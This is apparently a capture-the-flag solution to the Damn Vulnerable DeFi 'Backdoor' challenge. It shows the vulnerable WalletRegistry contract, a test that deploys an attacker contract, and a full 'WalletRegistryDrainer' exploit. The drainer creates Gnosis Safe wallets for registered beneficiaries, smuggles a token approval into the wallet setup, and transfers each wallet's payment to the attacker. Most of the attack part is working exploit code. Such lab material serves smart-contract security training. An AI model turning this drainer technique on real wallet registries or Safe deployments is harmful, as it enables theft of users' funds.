Damn Vulnerable Defi 11: Backdoor

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@gnosis.pm/safe-contracts/contracts/GnosisSafe.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/IProxyCreationCallback.sol";

/**
 * @title WalletRegistry
 * @notice A registry for Gnosis Safe wallets.
           When known beneficiaries deploy and register their wallets, the registry sends some Damn Valuable Tokens to the wallet.
 * @dev The registry has embedded verifications to ensure only legitimate Gnosis Safe wallets are stored.
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract WalletRegistry is IProxyCreationCallback, Ownable {
    
    uint256 private constant MAX_OWNERS = 1;
    uint256 private constant MAX_THRESHOLD = 1;
    uint256 private constant TOKEN_PAYMENT = 10 ether; // 10 * 10 ** 18
    
    address public immutable masterCopy;
    address public immutable walletFactory;
    IERC20 public immutable token;

    mapping (address => bool) public beneficiaries;

    // owner => wallet
    mapping (address => address) public wallets;

    constructor(
        address masterCopyAddress,
        address walletFactoryAddress, 
        address tokenAddress,
        address[] memory initialBeneficiaries
    ) {
        require(masterCopyAddress != address(0));
        require(walletFactoryAddress != address(0));

        masterCopy = masterCopyAddress;
        walletFactory = walletFactoryAddress;
        token = IERC20(tokenAddress);

        for (uint256 i = 0; i < initialBeneficiaries.length; i++) {
            addBeneficiary(initialBeneficiaries[i]);
        }
    }

    function addBeneficiary(address beneficiary) public onlyOwner {
        beneficiaries[beneficiary] = true;
    }

    function _removeBeneficiary(address beneficiary) private {
        beneficiaries[beneficiary] = false;
    }

    /**
     @notice Function executed when user creates a Gnosis Safe wallet via GnosisSafeProxyFactory::createProxyWithCallback
             setting the registry's address as the callback.
     */
    function proxyCreated(
        GnosisSafeProxy proxy,
        address singleton,
        bytes calldata initializer,
        uint256
    ) external override {
        // Make sure we have enough DVT to pay
        require(token.balanceOf(address(this)) >= TOKEN_PAYMENT, "Not enough funds to pay");

        address payable walletAddress = payable(proxy);

        // Ensure correct factory and master copy
        require(msg.sender == walletFactory, "Caller must be factory");
        require(singleton == masterCopy, "Fake mastercopy used");
        
        // Ensure initial calldata was a call to `GnosisSafe::setup`
        require(bytes4(initializer[:4]) == GnosisSafe.setup.selector, "Wrong initialization");

        // Ensure wallet initialization is the expected
        require(GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD, "Invalid threshold");
        require(GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS, "Invalid number of owners");       

        // Ensure the owner is a registered beneficiary
        address walletOwner = GnosisSafe(walletAddress).getOwners()[0];

        require(beneficiaries[walletOwner], "Owner is not registered as beneficiary");

        // Remove owner as beneficiary
        _removeBeneficiary(walletOwner);

        // Register the wallet under the owner's address
        wallets[walletOwner] = walletAddress;

        // Pay tokens to the newly created wallet
        token.transfer(walletAddress, TOKEN_PAYMENT);        
    }
}

    it('Exploit', async function () {
     /** CODE YOUR EXPLOIT HERE */

    const WalletRegistryAttackFactory = await ethers.getContractFactory('WalletRegistryDrainer', deployer);
    this.wr_attacker = await WalletRegistryAttackFactory.deploy(this.walletFactory.address, this.walletRegistry.address, this.token.address);

     await this.wr_attacker.attack(users, this.masterCopy.address, this.token.address, attacker.address);
    });

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/*
 * @title WalletRegistryDrainer.sol
 * @author securerodd
 */
 import "@gnosis.pm/safe-contracts/contracts/proxies/IProxyCreationCallback.sol";
 import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";
 import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

 interface IWalletFactory {
   function createProxy(address, bytes memory) external;
   function createProxyWithCallback(address, bytes memory, uint256, IProxyCreationCallback callback) external returns (GnosisSafeProxy);
}

contract WalletRegistryDrainer {
    IWalletFactory walletFactory;
    address walletRegistry;
    IERC20 token;

    constructor(address _wallet_factory, address _wallet_registry, address _token) {
        walletFactory = IWalletFactory(_wallet_factory);
        walletRegistry = _wallet_registry;
        token = IERC20(_token);
    }
    
    function attack(address[] calldata _owners, address _singleton, address _tokenAddress, address _attacker) external {
        bytes memory data = abi.encodeWithSignature("setUpModule(address,address)", _tokenAddress, address(this));
        uint256 owners_length = _owners.length;
        for (uint256 i; i < owners_length;) {
            address users = _owners[i];
            address[] memory user = new address[](1);
            user[0] = users;

            bytes memory proxyInitData = abi.encodeWithSignature(
                "setup(address[],uint256,address,bytes,address,address,uint256,address)",
                user,
                1,
                address(this),
                data,
                address(0),
                address(0),
                0,
                address(0)
            );

            GnosisSafeProxy GSP = walletFactory.createProxyWithCallback(_singleton, proxyInitData, i, IProxyCreationCallback(walletRegistry));
            token.transferFrom(address(GSP), _attacker, 10 ether);

            unchecked { ++i; }
        }
    }

    function setUpModule(address _token, address _contract) external {
        IERC20(_token).approve(_contract, 10 ether);
    }

}